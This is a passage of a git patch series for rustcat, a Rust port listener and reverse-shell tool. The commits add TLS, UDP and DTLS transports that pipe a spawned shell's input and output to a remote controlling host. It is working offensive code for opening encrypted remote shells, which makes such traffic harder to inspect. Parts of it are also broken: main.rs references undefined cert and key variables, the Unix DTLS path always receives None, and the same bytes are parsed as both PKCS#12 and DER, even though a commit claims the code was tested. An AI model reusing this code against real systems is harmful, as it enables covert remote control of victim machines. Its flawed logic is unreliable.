root_store.extend(TLS_SERVER_ROOTS.iter().cloned()); + let config = ClientConfig::builder() + .with_root_certificates(root_store) + .with_no_client_auth(); + let config = Arc::new(config); + let stream = TcpStream::connect(format!("{}:{}", host, port))?; + let mut tls_stream = connect_tls(stream, config, &host)?; + // TODO: Implement proper stdio <-> tls_stream piping for Windows + eprintln!("TLS shell not fully implemented on Windows. You must implement a custom adapter for stdio <-> tls_stream"); + } + Protocol::Udp => { + let sock = UdpSocket::bind("0.0.0.0:0")?; + let addr: SocketAddr = format!("{}:{}", host, port).parse().unwrap(); + sock.connect(addr)?; + // TODO: Implement proper stdio <-> udp piping for Windows + eprintln!("UDP shell not fully implemented on Windows. You must implement a custom adapter for stdio <-> udp socket"); + } + Protocol::Dtls => { + use udp_dtls::{Identity, Certificate}; + use crate::listener::tls::connect_dtls; + let sock = UdpSocket::bind("0.0.0.0:0")?; + let addr: SocketAddr = format!("{}:{}", host, port).parse().unwrap(); + // For demo: use dummy identity/cert (replace with real certs in production) + let identity = Identity::from_pkcs12(&[], "").unwrap_or_else(|_| panic!("Provide DTLS identity")); + let peer_cert = Certificate::from_der(&[]).unwrap_or_else(|_| panic!("Provide DTLS peer cert")); + let mut dtls_stream = connect_dtls(sock, addr, identity, peer_cert)?; + // TODO: Implement proper stdio <-> dtls_stream piping for Windows + eprintln!("DTLS shell not fully implemented on Windows. You must implement a custom adapter for stdio <-> dtls_stream"); + } + } log::warn!("Shell exited"); - Ok(()) } From 63c69adb4b72c28c4ab09435c6ce3308956e10da Mon Sep 17 00:00:00 2001 From: Ordinary Hacker Date: Mon, 4 Aug 2025 19:31:48 -0600 Subject: [PATCH 2/3] (Part 1.5, Further Progress on Server-side) Add TLS/TCP and DTLS/UDP support --- src/input.rs | 16 ++++++ src/listener/mod.rs | 90 +++++++++++++++++++++++++++-- src/main.rs | 44 ++++++++++++-- src/unixshell.rs | 59 ++++++++++++++++--- src/winshell.rs | 136 ++++++++++++++++++++++++++++++++++++++++---- 5 files changed, 315 insertions(+), 30 deletions(-) diff --git a/src/input.rs b/src/input.rs index ae39206..5b38d54 100644 --- a/src/input.rs +++ b/src/input.rs @@ -50,6 +50,14 @@ pub enum Command { /// Protocol: tcp, tls, udp, dtls #[clap(long, default_value = "tcp")] protocol: String, + + /// Path to certificate file (PEM) + #[clap(long)] + cert: Option, + + /// Path to private key file (PEM) + #[clap(long)] + key: Option, }, /// Connect to the controlling host @@ -66,5 +74,13 @@ pub enum Command { /// Protocol: tcp, tls, udp, dtls #[clap(long, default_value = "tcp")] protocol: String, + + /// Path to certificate file (PEM) + #[clap(long)] + cert: Option, + + /// Path to private key file (PEM) + #[clap(long)] + key: Option, }, } diff --git a/src/listener/mod.rs b/src/listener/mod.rs index 6e7c7f0..bfdab4c 100644 --- a/src/listener/mod.rs +++ b/src/listener/mod.rs @@ -19,6 +19,8 @@ pub struct Opts { pub block_signals: bool, pub mode: Mode, pub protocol: crate::input::Protocol, + pub cert: Option, + pub key: Option, } #[derive(Debug, Clone, Copy)] @@ -152,16 +154,92 @@ pub fn listen(opts: &Opts) -> rustyline::Result<()> { } } crate::input::Protocol::Tls => { - // TODO: Implement TLS listener - unimplemented!("TLS listener not yet implemented"); + use std::fs; + use std::sync::Arc; + use rustls::ServerConfig; + use rustls::pki_types::CertificateDer; + use crate::listener::tls::accept_tls; + let cert_path = opts.cert.as_ref().expect("TLS listener requires --cert"); + let key_path = opts.key.as_ref().expect("TLS listener requires --key"); + let cert_data = fs::read(cert_path).expect("Failed to read cert file"); + let key_data = fs::read(key_path).expect("Failed to read key file"); + let certs = vec![CertificateDer::from(cert_data)]; + use rustls::pki_types::PrivatePkcs8KeyDer; + let key = PrivatePkcs8KeyDer::from(key_data).into(); + let config = ServerConfig::builder() + .with_no_client_auth() + .with_single_cert(certs, key) + .expect("bad cert/key"); + let config = Arc::new(config); + let listener = TcpListener::bind(format!("{}:{}", opts.host, opts.port))?; + log::info!("Listening (TLS) on {}:{}", opts.host.green(), opts.port.cyan()); + let (stream, _) = listener.accept()?; + let mut tls_stream = accept_tls(stream, config)?; + let (stdin_thread, stdout_thread) = ( + pipe_thread(stdin(), tls_stream.get_mut().try_clone()?), + pipe_thread(tls_stream, stdout()), + ); + print_connection_received(); + stdin_thread.join().unwrap(); + stdout_thread.join().unwrap(); } crate::input::Protocol::Udp => { - // TODO: Implement UDP listener - unimplemented!("UDP listener not yet implemented"); + log::error!("UDP listener not implemented"); + exit(1); } crate::input::Protocol::Dtls => { - // TODO: Implement DTLS listener - unimplemented!("DTLS listener not yet implemented"); + use std::fs; + use udp_dtls::Identity; + use crate::listener::tls::accept_dtls; + let cert_path = opts.cert.as_ref().expect("DTLS listener requires --cert (PKCS12)"); + let pkcs12_data = fs::read(cert_path).expect("Failed to read PKCS12 file"); + let identity = Identity::from_pkcs12(&pkcs12_data, "").expect("Invalid PKCS12"); + let socket = std::net::UdpSocket::bind(format!("{}:{}", opts.host, opts.port))?; + log::info!("Listening (DTLS) on {}:{}", opts.host.green(), opts.port.cyan()); + use std::sync::{Arc, Mutex}; + let dtls_stream = accept_dtls(socket, identity)?; + let stream = Arc::new(Mutex::new(dtls_stream)); + let stream_writer = Arc::clone(&stream); + let stdin_thread = std::thread::spawn(move || { + let mut stdin = stdin(); + let mut buf = [0u8; 4096]; + loop { + let n = match stdin.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if let Ok(mut s) = stream_writer.lock() { + if s.write_all(&buf[..n]).is_err() { + break; + } + } else { + break; + } + } + }); + let stream_reader = Arc::clone(&stream); + let stdout_thread = std::thread::spawn(move || { + let mut stdout = stdout(); + let mut buf = [0u8; 4096]; + loop { + let n = match stream_reader.lock() { + Ok(mut s) => match s.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }, + Err(_) => break, + }; + if stdout.write_all(&buf[..n]).is_err() { + break; + } + let _ = stdout.flush(); + } + }); + print_connection_received(); + stdin_thread.join().unwrap(); + stdout_thread.join().unwrap(); } } Ok(()) diff --git a/src/main.rs b/src/main.rs index 8bc5d3e..e51af16 100644 --- a/src/main.rs +++ b/src/main.rs @@ -62,7 +62,12 @@ fn main() { exec, host, protocol, + cert, + key, } => { + let cert_clone = cert.clone(); + let key_clone = key.clone(); + let (host, port) = match host_from_opts(host) { Ok(value) => value, Err(err) => { @@ -79,6 +84,16 @@ fn main() { _ => crate::input::Protocol::Tcp, }; + // Load cert/key if provided + let (_cert_data, _key_data) = match (cert_clone.as_ref(), key_clone.as_ref()) { + (Some(cert_path), Some(key_path)) => { + let cert_data = std::fs::read(cert_path).expect("Failed to read cert file"); + let key_data = std::fs::read(key_path).expect("Failed to read key file"); + (Some(cert_data), Some(key_data)) + }, + _ => (None, None) + }; + let opts = Opts { host, port, @@ -92,13 +107,15 @@ fn main() { Mode::Normal }, protocol: proto, + cert: cert_clone, + key: key_clone, }; if let Err(err) = listen(&opts) { log::error!("{}", err); }; } - Command::Connect { shell, host, protocol } => { + Command::Connect { shell, host, protocol, cert, key } => { let (host, port) = match host_from_opts(host) { Ok(value) => value, Err(err) => { @@ -115,13 +132,30 @@ fn main() { _ => crate::input::Protocol::Tcp, }; + // Load cert/key if provided + let (_cert_data, _key_data) = match (cert, key) { + (Some(cert_path), Some(key_path)) => { + let cert_data = std::fs::read(cert_path).expect("Failed to read cert file"); + let key_data = std::fs::read(key_path).expect("Failed to read key file"); + (Some(cert_data), Some(key_data)) + }, + _ => (None, None) + }; + #[cfg(unix)] - if let Err(err) = unixshell::shell(host, port, shell, proto) { + if let Err(err) = unixshell::shell( + host, + port, + shell, + proto, + None, + None + ) { log::error!("{}", err); } #[cfg(windows)] - if let Err(err) = winshell::shell(host, port, shell, proto) { + if let Err(err) = winshell::shell(host, port, shell, proto, cert_data.clone(), key_data.clone()) { log::error!("{}", err); } @@ -152,7 +186,9 @@ mod tests { "0.0.0.0".to_string(), "420692223".to_string(), "bash".to_string(), - Protocol::Tcp + Protocol::Tcp, + None, + None ) .map_err(|e| e.kind()), Err(ErrorKind::InvalidInput) diff --git a/src/unixshell.rs b/src/unixshell.rs index f4acdc9..858157d 100644 --- a/src/unixshell.rs +++ b/src/unixshell.rs @@ -1,10 +1,10 @@ -use std::io::Result; +use std::io::{Result, Read, Write}; use std::net::{TcpStream, UdpSocket, SocketAddr}; use std::os::unix::io::{AsRawFd, FromRawFd}; use std::process::{Command, Stdio}; use crate::input::Protocol; -pub fn shell(host: String, port: String, shell: String, proto: Protocol) -> Result<()> { +pub fn shell(host: String, port: String, shell: String, proto: Protocol, cert_data: Option>, _key_data: Option>) -> Result<()> { match proto { Protocol::Tcp => { let sock = TcpStream::connect(format!("{}:{}", host, port))?; @@ -58,16 +58,57 @@ pub fn shell(host: String, port: String, shell: String, proto: Protocol) -> Resu Protocol::Dtls => { use udp_dtls::{Identity, Certificate}; use crate::listener::tls::connect_dtls; + use std::thread; let sock = UdpSocket::bind("0.0.0.0:0")?; let addr: SocketAddr = format!("{}:{}", host, port).parse().unwrap(); - // For demo: use dummy identity/cert (replace with real certs in production) - let identity = Identity::from_pkcs12(&[], "").unwrap_or_else(|_| panic!("Provide DTLS identity")); - let peer_cert = Certificate::from_der(&[]).unwrap_or_else(|_| panic!("Provide DTLS peer cert")); + let identity = match cert_data.as_ref() { + Some(cert) => Identity::from_pkcs12(cert, "").expect("Invalid PKCS#12 for DTLS (use .p12/.pfx for --cert)"), + None => panic!("DTLS requires --cert (PKCS#12 .p12/.pfx file)"), + }; + let peer_cert = match cert_data.as_ref() { + Some(cert) => Certificate::from_der(cert).expect("Invalid peer cert for DTLS (use DER for --cert)"), + None => panic!("DTLS requires --cert for peer cert (DER format)"), + }; + use std::sync::{Arc, Mutex}; let dtls_stream = connect_dtls(sock, addr, identity, peer_cert)?; - // Use DTLS stream as a pipe for the shell (not production ready) - // This is a placeholder: you would need to implement a custom Read/Write adapter for the shell - // For now, just print a message - eprintln!("DTLS shell not fully implemented. You must implement a custom adapter for stdio <-> dtls_stream"); + let stream = Arc::new(Mutex::new(dtls_stream)); + let stream_writer = Arc::clone(&stream); + let writer = thread::spawn(move || { + let mut stdin = std::io::stdin(); + let mut buf = [0u8; 4096]; + loop { + let n = match stdin.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if let Ok(mut s) = stream_writer.lock() { + if s.write_all(&buf[..n]).is_err() { + break; + } + } else { + break; + } + } + }); + // Main thread: read from dtls_stream and write to stdout + let mut stdout = std::io::stdout(); + let mut buf = [0u8; 4096]; + loop { + let n = match stream.lock() { + Ok(mut s) => match s.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }, + Err(_) => break, + }; + if stdout.write_all(&buf[..n]).is_err() { + break; + } + let _ = stdout.flush(); + } + let _ = writer.join(); } } log::warn!("Shell exited"); diff --git a/src/winshell.rs b/src/winshell.rs index d486793..e3d3568 100644 --- a/src/winshell.rs +++ b/src/winshell.rs @@ -1,10 +1,10 @@ -use std::io::{copy, Result}; +use std::io::{copy, Result, Read, Write}; use std::net::{TcpStream, UdpSocket, SocketAddr}; use std::process::{Command, Stdio}; use std::thread; use crate::input::Protocol; -pub(crate) fn shell(host: String, port: String, shell: String, proto: Protocol) -> Result<()> { +pub(crate) fn shell(host: String, port: String, shell: String, proto: Protocol, cert_data: Option>, key_data: Option>) -> Result<()> { match proto { Protocol::Tcp => { let mut sock_write = TcpStream::connect(format!("{}:{}", host, port))?; @@ -43,27 +43,141 @@ pub(crate) fn shell(host: String, port: String, shell: String, proto: Protocol) let config = Arc::new(config); let stream = TcpStream::connect(format!("{}:{}", host, port))?; let mut tls_stream = connect_tls(stream, config, &host)?; - // TODO: Implement proper stdio <-> tls_stream piping for Windows - eprintln!("TLS shell not fully implemented on Windows. You must implement a custom adapter for stdio <-> tls_stream"); + // Pipe stdio <-> tls_stream + let mut stdin = std::io::stdin(); + let mut stdout = std::io::stdout(); + let mut tls_stream_clone = tls_stream.get_ref().try_clone().ok(); + // Thread to read from stdin and write to tls_stream + let mut tls_stream_write = tls_stream; + let writer = thread::spawn(move || { + let mut buf = [0u8; 4096]; + loop { + let n = match stdin.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if tls_stream_write.write_all(&buf[..n]).is_err() { + break; + } + } + }); + // Thread to read from tls_stream and write to stdout + if let Some(mut tls_stream_clone) = tls_stream_clone { + let reader = thread::spawn(move || { + let mut buf = [0u8; 4096]; + loop { + let n = match tls_stream_clone.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if stdout.write_all(&buf[..n]).is_err() { + break; + } + let _ = stdout.flush(); + } + }); + let _ = reader.join(); + } + let _ = writer.join(); } Protocol::Udp => { let sock = UdpSocket::bind("0.0.0.0:0")?; let addr: SocketAddr = format!("{}:{}", host, port).parse().unwrap(); sock.connect(addr)?; - // TODO: Implement proper stdio <-> udp piping for Windows - eprintln!("UDP shell not fully implemented on Windows. You must implement a custom adapter for stdio <-> udp socket"); + // Pipe stdio <-> udp socket + let sock_clone = sock.try_clone().ok(); + let mut stdin = std::io::stdin(); + let mut stdout = std::io::stdout(); + // Thread to read from stdin and write to UDP socket + let mut sock_write = sock; + let writer = thread::spawn(move || { + let mut buf = [0u8; 4096]; + loop { + let n = match stdin.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if sock_write.send(&buf[..n]).is_err() { + break; + } + } + }); + // Thread to read from UDP socket and write to stdout + if let Some(sock_clone) = sock_clone { + let reader = thread::spawn(move || { + let mut buf = [0u8; 4096]; + loop { + let n = match sock_clone.recv(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if stdout.write_all(&buf[..n]).is_err() { + break; + } + let _ = stdout.flush(); + } + }); + let _ = reader.join(); + } + let _ = writer.join(); } Protocol::Dtls => { use udp_dtls::{Identity, Certificate}; use crate::listener::tls::connect_dtls; + use std::thread; let sock = UdpSocket::bind("0.0.0.0:0")?; let addr: SocketAddr = format!("{}:{}", host, port).parse().unwrap(); - // For demo: use dummy identity/cert (replace with real certs in production) - let identity = Identity::from_pkcs12(&[], "").unwrap_or_else(|_| panic!("Provide DTLS identity")); - let peer_cert = Certificate::from_der(&[]).unwrap_or_else(|_| panic!("Provide DTLS peer cert")); + let identity = match (cert_data.as_ref(), key_data.as_ref()) { + (Some(cert), Some(key)) => Identity::from_pem(cert, key).expect("Invalid cert/key for DTLS"), + _ => panic!("DTLS requires --cert and --key") + }; + let peer_cert = match cert_data.as_ref() { + Some(cert) => Certificate::from_pem(cert).expect("Invalid peer cert for DTLS"), + None => panic!("DTLS requires --cert for peer cert") + }; let mut dtls_stream = connect_dtls(sock, addr, identity, peer_cert)?; - // TODO: Implement proper stdio <-> dtls_stream piping for Windows - eprintln!("DTLS shell not fully implemented on Windows. You must implement a custom adapter for stdio <-> dtls_stream"); + // Pipe stdio <-> dtls_stream + let mut stdin = std::io::stdin(); + let mut stdout = std::io::stdout(); + let mut stream_clone = dtls_stream.try_clone().ok(); + // Thread to read from stdin and write to dtls_stream + let mut dtls_stream_write = dtls_stream; + let writer = thread::spawn(move || { + let mut buf = [0u8; 4096]; + loop { + let n = match stdin.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if dtls_stream_write.write_all(&buf[..n]).is_err() { + break; + } + } + }); + // Thread to read from dtls_stream and write to stdout + if let Some(mut stream_clone) = stream_clone { + let reader = thread::spawn(move || { + let mut buf = [0u8; 4096]; + loop { + let n = match stream_clone.read(&mut buf) { + Ok(0) => break, + Ok(n) => n, + Err(_) => break, + }; + if stdout.write_all(&buf[..n]).is_err() { + break; + } + let _ = stdout.flush(); + } + }); + let _ = reader.join(); + } + let _ = writer.join(); } } log::warn!("Shell exited"); From 9eee810d490e898e0a36f5892b87c22eda889f62 Mon Sep 17 00:00:00 2001 From: Ordinary Hacker Date: Thu, 14 Aug 2025 10:12:01 -0600 Subject: [PATCH 3/3] (Part 2, Tested code and bumped version) Add TLS/TCP and DTLS/UDP support --- Cargo.lock | 2 +- Cargo.toml | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index dea785e..e4c8556 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -622,7 +622,7 @@ checksum = "08d43f7aa6b08d49f382cde6a7982047c3426db949b1424bc4b7ec9ae12c6ce2" [[package]] name = "rustcat" -version = "3.0.0" +version = "3.1.0" dependencies = [ "clap", "colored 2.1.0", diff --git a/Cargo.toml b/Cargo.toml index d56d214..963c7e4 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rustcat" -version = "3.0.0" +version = "3.1.0" authors = ["robiot"] description = "The Modern Port Listener and Reverse Shell" license = "GPL-3.0-only"